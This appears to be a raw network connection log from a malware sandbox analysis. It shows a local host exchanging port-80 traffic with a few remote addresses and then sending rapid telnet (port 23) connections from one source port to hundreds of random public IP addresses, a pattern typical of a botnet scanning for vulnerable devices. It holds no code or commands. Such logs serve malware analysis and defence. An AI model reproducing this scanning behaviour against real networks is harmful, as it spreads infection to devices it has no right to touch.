Dec 3, 2024 23:16:44.819612026 CET	80	53592	153.112.177.229	192.168.2.23
Dec 3, 2024 23:16:44.819664955 CET	53592	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.819689989 CET	53592	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.827835083 CET	80	37062	178.209.10.75	192.168.2.23
Dec 3, 2024 23:16:44.831806898 CET	80	55422	144.38.20.0	192.168.2.23
Dec 3, 2024 23:16:44.831851006 CET	55422	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.835825920 CET	80	45274	146.132.188.166	192.168.2.23
Dec 3, 2024 23:16:44.839884996 CET	80	50114	120.173.20.194	192.168.2.23
Dec 3, 2024 23:16:44.851855993 CET	80	34932	104.171.23.145	192.168.2.23
Dec 3, 2024 23:16:44.859883070 CET	80	53526	153.112.177.229	192.168.2.23
Dec 3, 2024 23:16:44.882159948 CET	80	42108	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:44.882214069 CET	42108	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.887427092 CET	80	36086	53.132.117.184	192.168.2.23
Dec 3, 2024 23:16:44.887471914 CET	36086	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.887739897 CET	80	49542	129.100.184.223	192.168.2.23
Dec 3, 2024 23:16:44.887777090 CET	49542	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.887794971 CET	80	56148	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.887829065 CET	80	56686	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.888062000 CET	80	56686	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.888098955 CET	56686	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.888302088 CET	80	56148	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.888350010 CET	56148	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.898896933 CET	80	49690	188.243.47.249	192.168.2.23
Dec 3, 2024 23:16:44.898947954 CET	49690	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.912251949 CET	80	37216	178.209.10.75	192.168.2.23
Dec 3, 2024 23:16:44.912302017 CET	37216	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.916630983 CET	80	45420	146.132.188.166	192.168.2.23
Dec 3, 2024 23:16:44.916702032 CET	45420	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.923708916 CET	80	50240	120.173.20.194	192.168.2.23
Dec 3, 2024 23:16:44.923763990 CET	50240	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.935617924 CET	80	35022	104.171.23.145	192.168.2.23
Dec 3, 2024 23:16:44.935770035 CET	35022	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.943825006 CET	80	53592	153.112.177.229	192.168.2.23
Dec 3, 2024 23:16:44.943950891 CET	80	53592	153.112.177.229	192.168.2.23
Dec 3, 2024 23:16:44.944000959 CET	53592	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:45.384000063 CET	48408	80	192.168.2.23	211.227.175.197
Dec 3, 2024 23:16:45.384295940 CET	40602	23	192.168.2.23	213.69.162.227
Dec 3, 2024 23:16:45.384304047 CET	40602	23	192.168.2.23	86.223.218.242
Dec 3, 2024 23:16:45.384306908 CET	40602	23	192.168.2.23	173.31.209.207
Dec 3, 2024 23:16:45.384310961 CET	40602	23	192.168.2.23	35.148.186.19
Dec 3, 2024 23:16:45.384325027 CET	40602	23	192.168.2.23	210.13.5.108
Dec 3, 2024 23:16:45.384325027 CET	40602	23	192.168.2.23	23.102.73.106
Dec 3, 2024 23:16:45.384336948 CET	40602	23	192.168.2.23	153.60.128.113
Dec 3, 2024 23:16:45.384340048 CET	40602	23	192.168.2.23	151.216.105.82
Dec 3, 2024 23:16:45.384358883 CET	40602	23	192.168.2.23	59.255.82.49
Dec 3, 2024 23:16:45.384358883 CET	40602	23	192.168.2.23	139.93.186.145
Dec 3, 2024 23:16:45.384365082 CET	40602	23	192.168.2.23	143.212.155.26
Dec 3, 2024 23:16:45.384381056 CET	40602	23	192.168.2.23	59.129.94.109
Dec 3, 2024 23:16:45.384387970 CET	40602	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:45.384390116 CET	40602	23	192.168.2.23	187.125.11.78
Dec 3, 2024 23:16:45.384392977 CET	40602	23	192.168.2.23	126.183.65.170
Dec 3, 2024 23:16:45.384406090 CET	40602	23	192.168.2.23	137.187.187.101
Dec 3, 2024 23:16:45.384406090 CET	40602	23	192.168.2.23	85.59.140.30
Dec 3, 2024 23:16:45.384406090 CET	40602	23	192.168.2.23	212.97.1.50
Dec 3, 2024 23:16:45.384423018 CET	40602	23	192.168.2.23	222.27.70.73
Dec 3, 2024 23:16:45.384423018 CET	40602	23	192.168.2.23	96.132.61.120
Dec 3, 2024 23:16:45.384428978 CET	40602	23	192.168.2.23	139.93.230.251
Dec 3, 2024 23:16:45.384437084 CET	40602	23	192.168.2.23	130.155.72.191
Dec 3, 2024 23:16:45.384444952 CET	40602	23	192.168.2.23	101.213.242.48
Dec 3, 2024 23:16:45.384457111 CET	40602	23	192.168.2.23	218.100.158.146
Dec 3, 2024 23:16:45.384457111 CET	40602	23	192.168.2.23	222.64.76.248
Dec 3, 2024 23:16:45.384458065 CET	40602	23	192.168.2.23	37.234.78.188
Dec 3, 2024 23:16:45.384460926 CET	40602	23	192.168.2.23	184.224.131.118
Dec 3, 2024 23:16:45.384479046 CET	40602	23	192.168.2.23	185.167.174.148
Dec 3, 2024 23:16:45.384478092 CET	40602	23	192.168.2.23	206.68.214.163
Dec 3, 2024 23:16:45.384479046 CET	40602	23	192.168.2.23	65.30.3.19
Dec 3, 2024 23:16:45.384479046 CET	40602	23	192.168.2.23	119.96.49.132
Dec 3, 2024 23:16:45.384479046 CET	40602	23	192.168.2.23	218.67.132.144
Dec 3, 2024 23:16:45.384479046 CET	40602	23	192.168.2.23	74.223.132.58
Dec 3, 2024 23:16:45.384483099 CET	40602	23	192.168.2.23	147.189.3.230
Dec 3, 2024 23:16:45.384488106 CET	40602	23	192.168.2.23	27.234.229.218
Dec 3, 2024 23:16:45.384491920 CET	40602	23	192.168.2.23	112.229.253.40
Dec 3, 2024 23:16:45.384501934 CET	40602	23	192.168.2.23	121.30.192.117
Dec 3, 2024 23:16:45.384501934 CET	40602	23	192.168.2.23	31.46.27.143
Dec 3, 2024 23:16:45.384524107 CET	40602	23	192.168.2.23	47.7.97.197
Dec 3, 2024 23:16:45.384526968 CET	40602	23	192.168.2.23	23.144.252.12
Dec 3, 2024 23:16:45.384529114 CET	40602	23	192.168.2.23	50.131.41.104
Dec 3, 2024 23:16:45.384530067 CET	40602	23	192.168.2.23	140.78.178.135
Dec 3, 2024 23:16:45.384530067 CET	40602	23	192.168.2.23	96.243.144.211
Dec 3, 2024 23:16:45.384532928 CET	40602	23	192.168.2.23	203.97.157.134
Dec 3, 2024 23:16:45.384537935 CET	40602	23	192.168.2.23	115.214.33.197
Dec 3, 2024 23:16:45.384538889 CET	40602	23	192.168.2.23	32.14.25.100
Dec 3, 2024 23:16:45.384556055 CET	40602	23	192.168.2.23	185.71.85.214
Dec 3, 2024 23:16:45.384556055 CET	40602	23	192.168.2.23	139.153.60.41
Dec 3, 2024 23:16:45.384567976 CET	40602	23	192.168.2.23	27.84.10.92
Dec 3, 2024 23:16:45.384568930 CET	40602	23	192.168.2.23	140.76.10.211
Dec 3, 2024 23:16:45.384568930 CET	40602	23	192.168.2.23	185.231.81.163
Dec 3, 2024 23:16:45.384573936 CET	40602	23	192.168.2.23	105.187.135.120
Dec 3, 2024 23:16:45.384579897 CET	40602	23	192.168.2.23	135.43.117.122
Dec 3, 2024 23:16:45.384579897 CET	40602	23	192.168.2.23	221.198.169.88
Dec 3, 2024 23:16:45.384583950 CET	40602	23	192.168.2.23	42.51.5.44
Dec 3, 2024 23:16:45.384588003 CET	40602	23	192.168.2.23	1.139.194.233
Dec 3, 2024 23:16:45.384588003 CET	40602	23	192.168.2.23	217.31.44.89
Dec 3, 2024 23:16:45.384607077 CET	40602	23	192.168.2.23	9.231.222.167
Dec 3, 2024 23:16:45.384608030 CET	40602	23	192.168.2.23	196.250.179.4
Dec 3, 2024 23:16:45.384610891 CET	40602	23	192.168.2.23	54.163.87.119
Dec 3, 2024 23:16:45.384617090 CET	40602	23	192.168.2.23	85.112.26.149
Dec 3, 2024 23:16:45.384618044 CET	40602	23	192.168.2.23	174.240.221.105
Dec 3, 2024 23:16:45.384624004 CET	40602	23	192.168.2.23	213.83.187.7
Dec 3, 2024 23:16:45.384635925 CET	40602	23	192.168.2.23	125.169.157.239
Dec 3, 2024 23:16:45.384639025 CET	40602	23	192.168.2.23	166.127.178.91
Dec 3, 2024 23:16:45.384653091 CET	40602	23	192.168.2.23	31.226.180.43
Dec 3, 2024 23:16:45.384656906 CET	40602	23	192.168.2.23	108.129.32.48
Dec 3, 2024 23:16:45.384659052 CET	40602	23	192.168.2.23	104.133.85.82
Dec 3, 2024 23:16:45.384668112 CET	40602	23	192.168.2.23	94.13.146.101
Dec 3, 2024 23:16:45.384669065 CET	40602	23	192.168.2.23	177.243.65.175
Dec 3, 2024 23:16:45.384687901 CET	40602	23	192.168.2.23	159.104.189.124
Dec 3, 2024 23:16:45.384689093 CET	40602	23	192.168.2.23	179.144.70.238
Dec 3, 2024 23:16:45.384689093 CET	40602	23	192.168.2.23	91.181.197.210
Dec 3, 2024 23:16:45.384687901 CET	40602	23	192.168.2.23	185.199.132.10
Dec 3, 2024 23:16:45.384689093 CET	40602	23	192.168.2.23	115.29.30.151
Dec 3, 2024 23:16:45.384691954 CET	40602	23	192.168.2.23	183.22.60.191
Dec 3, 2024 23:16:45.384695053 CET	40602	23	192.168.2.23	113.90.24.31
Dec 3, 2024 23:16:45.384712934 CET	40602	23	192.168.2.23	13.158.36.195
Dec 3, 2024 23:16:45.384715080 CET	40602	23	192.168.2.23	75.90.192.45
Dec 3, 2024 23:16:45.384717941 CET	40602	23	192.168.2.23	52.114.98.174
Dec 3, 2024 23:16:45.384731054 CET	40602	23	192.168.2.23	100.158.61.157
Dec 3, 2024 23:16:45.384732962 CET	40602	23	192.168.2.23	64.191.196.90
Dec 3, 2024 23:16:45.384736061 CET	40602	23	192.168.2.23	5.187.207.151
Dec 3, 2024 23:16:45.384748936 CET	40602	23	192.168.2.23	216.29.103.102
Dec 3, 2024 23:16:45.384758949 CET	40602	23	192.168.2.23	134.47.149.136
Dec 3, 2024 23:16:45.384758949 CET	40602	23	192.168.2.23	154.150.21.79
Dec 3, 2024 23:16:45.384763956 CET	40602	23	192.168.2.23	149.79.104.78
Dec 3, 2024 23:16:45.384772062 CET	40602	23	192.168.2.23	153.21.53.193
Dec 3, 2024 23:16:45.384779930 CET	40602	23	192.168.2.23	130.253.110.86
Dec 3, 2024 23:16:45.384780884 CET	40602	23	192.168.2.23	216.1.64.199
Dec 3, 2024 23:16:45.384785891 CET	40602	23	192.168.2.23	166.252.72.87
Dec 3, 2024 23:16:45.384788036 CET	40602	23	192.168.2.23	164.39.21.94
Dec 3, 2024 23:16:45.384788990 CET	40602	23	192.168.2.23	8.17.203.253
Dec 3, 2024 23:16:45.384788990 CET	40602	23	192.168.2.23	204.201.126.199
Dec 3, 2024 23:16:45.384797096 CET	40602	23	192.168.2.23	103.10.66.49
Dec 3, 2024 23:16:45.384804964 CET	40602	23	192.168.2.23	45.188.88.164
Dec 3, 2024 23:16:45.384813070 CET	40602	23	192.168.2.23	41.132.175.153
Dec 3, 2024 23:16:45.384815931 CET	40602	23	192.168.2.23	163.197.80.151
Dec 3, 2024 23:16:45.384829998 CET	40602	23	192.168.2.23	74.91.98.55
Dec 3, 2024 23:16:45.384833097 CET	40602	23	192.168.2.23	32.63.129.149
Dec 3, 2024 23:16:45.384838104 CET	40602	23	192.168.2.23	173.250.144.42
Dec 3, 2024 23:16:45.384846926 CET	40602	23	192.168.2.23	5.194.39.59
Dec 3, 2024 23:16:45.384857893 CET	40602	23	192.168.2.23	143.149.100.11
Dec 3, 2024 23:16:45.384865999 CET	40602	23	192.168.2.23	4.136.93.45
Dec 3, 2024 23:16:45.384871960 CET	40602	23	192.168.2.23	12.15.9.236
Dec 3, 2024 23:16:45.384872913 CET	40602	23	192.168.2.23	113.56.111.127
Dec 3, 2024 23:16:45.384886980 CET	40602	23	192.168.2.23	151.19.122.65
Dec 3, 2024 23:16:45.384888887 CET	40602	23	192.168.2.23	178.93.157.77
Dec 3, 2024 23:16:45.384890079 CET	40602	23	192.168.2.23	45.39.43.23
Dec 3, 2024 23:16:45.384892941 CET	40602	23	192.168.2.23	126.235.176.176
Dec 3, 2024 23:16:45.384908915 CET	40602	23	192.168.2.23	44.198.38.170
Dec 3, 2024 23:16:45.384911060 CET	40602	23	192.168.2.23	216.147.50.129
Dec 3, 2024 23:16:45.384911060 CET	40602	23	192.168.2.23	18.239.205.45
Dec 3, 2024 23:16:45.384921074 CET	40602	23	192.168.2.23	60.56.244.253
Dec 3, 2024 23:16:45.384921074 CET	40602	23	192.168.2.23	157.142.125.9
Dec 3, 2024 23:16:45.384921074 CET	40602	23	192.168.2.23	89.41.131.60
Dec 3, 2024 23:16:45.384921074 CET	40602	23	192.168.2.23	103.77.142.245
Dec 3, 2024 23:16:45.384921074 CET	40602	23	192.168.2.23	190.214.175.77
Dec 3, 2024 23:16:45.384922981 CET	40602	23	192.168.2.23	173.122.210.26
Dec 3, 2024 23:16:45.384922981 CET	40602	23	192.168.2.23	104.76.10.199
Dec 3, 2024 23:16:45.384927034 CET	40602	23	192.168.2.23	69.40.3.181
Dec 3, 2024 23:16:45.384929895 CET	40602	23	192.168.2.23	216.208.199.150
Dec 3, 2024 23:16:45.384932995 CET	40602	23	192.168.2.23	126.18.246.5
Dec 3, 2024 23:16:45.384937048 CET	40602	23	192.168.2.23	61.3.12.0
Dec 3, 2024 23:16:45.384941101 CET	40602	23	192.168.2.23	165.157.50.87
Dec 3, 2024 23:16:45.384957075 CET	40602	23	192.168.2.23	89.18.239.102
Dec 3, 2024 23:16:45.384960890 CET	40602	23	192.168.2.23	94.212.4.226
Dec 3, 2024 23:16:45.384960890 CET	40602	23	192.168.2.23	116.50.159.211
Dec 3, 2024 23:16:45.384960890 CET	40602	23	192.168.2.23	73.63.45.208
Dec 3, 2024 23:16:45.384960890 CET	40602	23	192.168.2.23	9.184.96.240
Dec 3, 2024 23:16:45.384968042 CET	40602	23	192.168.2.23	164.66.42.3
Dec 3, 2024 23:16:45.384984016 CET	40602	23	192.168.2.23	97.236.129.92
Dec 3, 2024 23:16:45.384984970 CET	40602	23	192.168.2.23	45.131.33.142
Dec 3, 2024 23:16:45.384989023 CET	40602	23	192.168.2.23	190.45.152.144
Dec 3, 2024 23:16:45.384998083 CET	40602	23	192.168.2.23	8.73.67.173
Dec 3, 2024 23:16:45.385000944 CET	40602	23	192.168.2.23	189.191.192.118
Dec 3, 2024 23:16:45.385009050 CET	40602	23	192.168.2.23	119.115.171.6
Dec 3, 2024 23:16:45.385011911 CET	40602	23	192.168.2.23	66.34.47.82
Dec 3, 2024 23:16:45.385026932 CET	40602	23	192.168.2.23	41.50.101.5
Dec 3, 2024 23:16:45.385026932 CET	40602	23	192.168.2.23	212.81.93.5
Dec 3, 2024 23:16:45.385032892 CET	40602	23	192.168.2.23	177.162.135.55
Dec 3, 2024 23:16:45.385035038 CET	40602	23	192.168.2.23	86.45.95.172
Dec 3, 2024 23:16:45.385046005 CET	40602	23	192.168.2.23	48.202.102.74
Dec 3, 2024 23:16:45.385046005 CET	40602	23	192.168.2.23	123.205.6.68
Dec 3, 2024 23:16:45.385062933 CET	40602	23	192.168.2.23	49.62.187.133
Dec 3, 2024 23:16:45.385065079 CET	40602	23	192.168.2.23	109.241.210.213
Dec 3, 2024 23:16:45.385065079 CET	40602	23	192.168.2.23	207.71.176.133
Dec 3, 2024 23:16:45.385065079 CET	40602	23	192.168.2.23	35.108.12.187
Dec 3, 2024 23:16:45.385071993 CET	40602	23	192.168.2.23	69.3.95.79
Dec 3, 2024 23:16:45.385072947 CET	40602	23	192.168.2.23	201.158.128.122
Dec 3, 2024 23:16:45.385072947 CET	40602	23	192.168.2.23	76.18.167.15
Dec 3, 2024 23:16:45.385075092 CET	40602	23	192.168.2.23	46.89.106.232
Dec 3, 2024 23:16:45.385076046 CET	40602	23	192.168.2.23	4.202.103.10
Dec 3, 2024 23:16:45.385086060 CET	40602	23	192.168.2.23	222.96.233.51
Dec 3, 2024 23:16:45.385093927 CET	40602	23	192.168.2.23	130.230.171.8
Dec 3, 2024 23:16:45.385101080 CET	40602	23	192.168.2.23	158.66.106.34
Dec 3, 2024 23:16:45.385107994 CET	40602	23	192.168.2.23	130.141.191.196
Dec 3, 2024 23:16:45.385119915 CET	40602	23	192.168.2.23	81.79.65.43
Dec 3, 2024 23:16:45.385127068 CET	40602	23	192.168.2.23	143.20.120.208
Dec 3, 2024 23:16:45.385129929 CET	40602	23	192.168.2.23	109.211.208.161
Dec 3, 2024 23:16:45.385129929 CET	40602	23	192.168.2.23	1.136.128.120
Dec 3, 2024 23:16:45.385137081 CET	40602	23	192.168.2.23	166.3.227.11
Dec 3, 2024 23:16:45.385149002 CET	40602	23	192.168.2.23	129.106.178.253
Dec 3, 2024 23:16:45.385149002 CET	40602	23	192.168.2.23	147.28.147.35
Dec 3, 2024 23:16:45.385153055 CET	40602	23	192.168.2.23	102.107.52.189
Dec 3, 2024 23:16:45.385153055 CET	40602	23	192.168.2.23	17.151.193.94
Dec 3, 2024 23:16:45.385168076 CET	40602	23	192.168.2.23	181.140.61.39
Dec 3, 2024 23:16:45.385169983 CET	40602	23	192.168.2.23	60.118.37.177
Dec 3, 2024 23:16:45.385169983 CET	40602	23	192.168.2.23	143.19.73.63
Dec 3, 2024 23:16:45.385169983 CET	40602	23	192.168.2.23	140.124.251.20
Dec 3, 2024 23:16:45.385174990 CET	40602	23	192.168.2.23	196.138.234.54
Dec 3, 2024 23:16:45.385174990 CET	40602	23	192.168.2.23	69.181.2.255
Dec 3, 2024 23:16:45.385178089 CET	40602	23	192.168.2.23	204.14.143.216
Dec 3, 2024 23:16:45.385179996 CET	40602	23	192.168.2.23	77.190.1.121
Dec 3, 2024 23:16:45.385185003 CET	40602	23	192.168.2.23	79.226.173.40
Dec 3, 2024 23:16:45.385189056 CET	40602	23	192.168.2.23	146.93.229.100
Dec 3, 2024 23:16:45.385193110 CET	40602	23	192.168.2.23	82.167.232.41
Dec 3, 2024 23:16:45.385195017 CET	40602	23	192.168.2.23	107.130.191.35
Dec 3, 2024 23:16:45.385195971 CET	40602	23	192.168.2.23	9.18.232.186
Dec 3, 2024 23:16:45.385195971 CET	40602	23	192.168.2.23	41.115.251.120
Dec 3, 2024 23:16:45.385195971 CET	40602	23	192.168.2.23	178.225.253.208
Dec 3, 2024 23:16:45.385195971 CET	40602	23	192.168.2.23	203.217.200.159
Dec 3, 2024 23:16:45.385198116 CET	40602	23	192.168.2.23	109.9.67.224
Dec 3, 2024 23:16:45.385198116 CET	40602	23	192.168.2.23	52.175.200.253
Dec 3, 2024 23:16:45.385200977 CET	40602	23	192.168.2.23	35.136.117.185
Dec 3, 2024 23:16:45.385201931 CET	40602	23	192.168.2.23	147.11.208.217
Dec 3, 2024 23:16:45.385226011 CET	40602	23	192.168.2.23	157.27.13.72
Dec 3, 2024 23:16:45.385238886 CET	40602	23	192.168.2.23	66.250.49.30
Dec 3, 2024 23:16:45.385240078 CET	40602	23	192.168.2.23	75.189.210.187
Dec 3, 2024 23:16:45.385241032 CET	40602	23	192.168.2.23	77.195.146.226
Dec 3, 2024 23:16:45.385241985 CET	40602	23	192.168.2.23	116.105.229.119
Dec 3, 2024 23:16:45.385240078 CET	40602	23	192.168.2.23	168.58.131.230
Dec 3, 2024 23:16:45.385240078 CET	40602	23	192.168.2.23	120.4.42.240
Dec 3, 2024 23:16:45.385240078 CET	40602	23	192.168.2.23	49.218.41.171
Dec 3, 2024 23:16:45.385258913 CET	40602	23	192.168.2.23	123.140.184.201
Dec 3, 2024 23:16:45.385260105 CET	40602	23	192.168.2.23	208.248.187.190
Dec 3, 2024 23:16:45.385261059 CET	40602	23	192.168.2.23	196.236.161.44
Dec 3, 2024 23:16:45.385261059 CET	40602	23	192.168.2.23	20.152.248.150
Dec 3, 2024 23:16:45.385262012 CET	40602	23	192.168.2.23	108.141.16.165
Dec 3, 2024 23:16:45.385262012 CET	40602	23	192.168.2.23	192.143.73.102
Dec 3, 2024 23:16:45.385263920 CET	40602	23	192.168.2.23	185.30.140.14
Dec 3, 2024 23:16:45.385263920 CET	40602	23	192.168.2.23	201.75.230.121
Dec 3, 2024 23:16:45.385278940 CET	40602	23	192.168.2.23	103.102.178.157
Dec 3, 2024 23:16:45.385279894 CET	40602	23	192.168.2.23	158.61.181.152
Dec 3, 2024 23:16:45.385279894 CET	40602	23	192.168.2.23	122.27.112.98
Dec 3, 2024 23:16:45.385279894 CET	40602	23	192.168.2.23	96.42.195.124
Dec 3, 2024 23:16:45.385281086 CET	40602	23	192.168.2.23	153.91.62.202
Dec 3, 2024 23:16:45.385282993 CET	40602	23	192.168.2.23	205.60.103.215
Dec 3, 2024 23:16:45.385282993 CET	40602	23	192.168.2.23	120.64.231.151
Dec 3, 2024 23:16:45.385282993 CET	40602	23	192.168.2.23	137.75.145.249
Dec 3, 2024 23:16:45.385284901 CET	40602	23	192.168.2.23	38.22.150.25
Dec 3, 2024 23:16:45.385284901 CET	40602	23	192.168.2.23	154.87.60.115
Dec 3, 2024 23:16:45.385284901 CET	40602	23	192.168.2.23	142.213.70.165
Dec 3, 2024 23:16:45.385284901 CET	40602	23	192.168.2.23	132.52.52.242
Dec 3, 2024 23:16:45.385284901 CET	40602	23	192.168.2.23	188.233.81.210
Dec 3, 2024 23:16:45.385293961 CET	40602	23	192.168.2.23	199.7.166.224
Dec 3, 2024 23:16:45.385293961 CET	40602	23	192.168.2.23	201.159.23.242
Dec 3, 2024 23:16:45.385293961 CET	40602	23	192.168.2.23	167.204.6.217
Dec 3, 2024 23:16:45.385296106 CET	40602	23	192.168.2.23	98.229.236.24
Dec 3, 2024 23:16:45.385297060 CET	40602	23	192.168.2.23	120.169.58.142
Dec 3, 2024 23:16:45.385299921 CET	40602	23	192.168.2.23	164.221.99.31
Dec 3, 2024 23:16:45.385315895 CET	40602	23	192.168.2.23	136.3.106.125
Dec 3, 2024 23:16:45.385317087 CET	40602	23	192.168.2.23	191.138.104.190
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	183.169.52.189
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	146.35.44.181
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	4.46.66.221
Dec 3, 2024 23:16:45.385318995 CET	40602	23	192.168.2.23	184.17.156.29
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	170.9.216.212
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	110.153.99.64
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	38.9.77.55
Dec 3, 2024 23:16:45.385318041 CET	40602	23	192.168.2.23	53.141.195.32
Dec 3, 2024 23:16:45.385319948 CET	40602	23	192.168.2.23	87.107.135.181
Dec 3, 2024 23:16:45.385335922 CET	40602	23	192.168.2.23	159.122.27.186
Dec 3, 2024 23:16:45.385340929 CET	40602	23	192.168.2.23	67.11.217.93
Dec 3, 2024 23:16:45.385340929 CET	40602	23	192.168.2.23	169.126.108.36
Dec 3, 2024 23:16:45.385341883 CET	40602	23	192.168.2.23	74.208.72.78
Dec 3, 2024 23:16:45.385340929 CET	40602	23	192.168.2.23	203.243.217.199
Dec 3, 2024 23:16:45.385341883 CET	40602	23	192.168.2.23	176.211.162.42
Dec 3, 2024 23:16:45.385340929 CET	40602	23	192.168.2.23	193.202.221.121
Dec 3, 2024 23:16:45.385343075 CET	40602	23	192.168.2.23	2.216.229.249
Dec 3, 2024 23:16:45.385343075 CET	40602	23	192.168.2.23	120.123.36.230
Dec 3, 2024 23:16:45.385340929 CET	40602	23	192.168.2.23	204.173.28.172
Dec 3, 2024 23:16:45.385341883 CET	40602	23	192.168.2.23	137.239.169.1
Dec 3, 2024 23:16:45.385343075 CET	40602	23	192.168.2.23	86.58.173.94
Dec 3, 2024 23:16:45.385356903 CET	40602	23	192.168.2.23	106.229.236.96
Dec 3, 2024 23:16:45.385359049 CET	40602	23	192.168.2.23	151.66.71.18
Dec 3, 2024 23:16:45.385359049 CET	40602	23	192.168.2.23	31.48.249.162
Dec 3, 2024 23:16:45.385360003 CET	40602	23	192.168.2.23	94.5.219.132
Dec 3, 2024 23:16:45.385360956 CET	40602	23	192.168.2.23	81.255.190.135
Dec 3, 2024 23:16:45.385364056 CET	40602	23	192.168.2.23	12.151.7.157
Dec 3, 2024 23:16:45.385364056 CET	40602	23	192.168.2.23	199.235.199.38
Dec 3, 2024 23:16:45.385365009 CET	40602	23	192.168.2.23	156.62.141.244
Dec 3, 2024 23:16:45.385365963 CET	40602	23	192.168.2.23	213.240.53.19
Dec 3, 2024 23:16:45.385380030 CET	40602	23	192.168.2.23	42.242.239.17
Dec 3, 2024 23:16:45.385380030 CET	40602	23	192.168.2.23	120.73.10.124
Dec 3, 2024 23:16:45.385380983 CET	40602	23	192.168.2.23	101.10.43.116
Dec 3, 2024 23:16:45.385380983 CET	40602	23	192.168.2.23	13.253.66.51
Dec 3, 2024 23:16:45.385382891 CET	40602	23	192.168.2.23	71.196.85.72
Dec 3, 2024 23:16:45.385382891 CET	40602	23	192.168.2.23	72.60.4.215
Dec 3, 2024 23:16:45.385382891 CET	40602	23	192.168.2.23	130.46.76.238
Dec 3, 2024 23:16:45.385384083 CET	40602	23	192.168.2.23	145.68.96.224
Dec 3, 2024 23:16:45.385382891 CET	40602	23	192.168.2.23	111.31.110.149
Dec 3, 2024 23:16:45.385384083 CET	40602	23	192.168.2.23	206.92.73.145
Dec 3, 2024 23:16:45.385382891 CET	40602	23	192.168.2.23	102.124.43.42
Dec 3, 2024 23:16:45.385384083 CET	40602	23	192.168.2.23	12.106.99.12
Dec 3, 2024 23:16:45.385385990 CET	40602	23	192.168.2.23	167.92.51.3
Dec 3, 2024 23:16:45.385385990 CET	40602	23	192.168.2.23	40.118.167.251
Dec 3, 2024 23:16:45.385385990 CET	40602	23	192.168.2.23	106.228.8.237
Dec 3, 2024 23:16:45.385385990 CET	40602	23	192.168.2.23	128.85.150.95
Dec 3, 2024 23:16:45.385385990 CET	40602	23	192.168.2.23	205.180.52.252
Dec 3, 2024 23:16:45.385385990 CET	40602	23	192.168.2.23	8.208.189.175
Dec 3, 2024 23:16:45.385394096 CET	40602	23	192.168.2.23	42.193.175.212
Dec 3, 2024 23:16:45.385396957 CET	40602	23	192.168.2.23	163.220.111.160
Dec 3, 2024 23:16:45.385400057 CET	40602	23	192.168.2.23	211.2.87.101
Dec 3, 2024 23:16:45.385413885 CET	40602	23	192.168.2.23	37.136.228.212
Dec 3, 2024 23:16:45.385413885 CET	40602	23	192.168.2.23	104.57.42.18
Dec 3, 2024 23:16:45.385413885 CET	40602	23	192.168.2.23	76.13.172.248
Dec 3, 2024 23:16:45.385413885 CET	40602	23	192.168.2.23	34.46.218.163
Dec 3, 2024 23:16:45.385415077 CET	40602	23	192.168.2.23	42.43.174.119
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	14.230.10.112
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	109.61.87.26
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	9.198.238.43
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	213.149.33.196
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	183.43.232.55
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	82.93.119.11
Dec 3, 2024 23:16:45.385417938 CET	40602	23	192.168.2.23	128.84.80.63
Dec 3, 2024 23:16:45.385421991 CET	40602	23	192.168.2.23	19.3.102.7
Dec 3, 2024 23:16:45.385421991 CET	40602	23	192.168.2.23	163.207.243.222
Dec 3, 2024 23:16:45.385426044 CET	40602	23	192.168.2.23	94.223.75.136
Dec 3, 2024 23:16:45.385426044 CET	40602	23	192.168.2.23	24.35.241.112
Dec 3, 2024 23:16:45.385426044 CET	40602	23	192.168.2.23	221.237.28.50
Dec 3, 2024 23:16:45.385427952 CET	40602	23	192.168.2.23	219.8.196.252
Dec 3, 2024 23:16:45.385435104 CET	40602	23	192.168.2.23	162.135.251.15
Dec 3, 2024 23:16:45.385435104 CET	40602	23	192.168.2.23	4.249.75.199
Dec 3, 2024 23:16:45.385436058 CET	40602	23	192.168.2.23	139.25.159.52
Dec 3, 2024 23:16:45.385437965 CET	40602	23	192.168.2.23	216.101.236.84
Dec 3, 2024 23:16:45.385440111 CET	40602	23	192.168.2.23	13.175.222.14
Dec 3, 2024 23:16:45.385440111 CET	40602	23	192.168.2.23	147.71.222.119
Dec 3, 2024 23:16:45.385442972 CET	40602	23	192.168.2.23	39.194.139.224
Dec 3, 2024 23:16:45.385447979 CET	40602	23	192.168.2.23	108.191.198.30
Dec 3, 2024 23:16:45.385451078 CET	40602	23	192.168.2.23	106.238.146.162
Dec 3, 2024 23:16:45.385462046 CET	40602	23	192.168.2.23	152.69.69.4
Dec 3, 2024 23:16:45.385462999 CET	40602	23	192.168.2.23	168.171.195.147
Dec 3, 2024 23:16:45.385463953 CET	40602	23	192.168.2.23	212.67.220.14
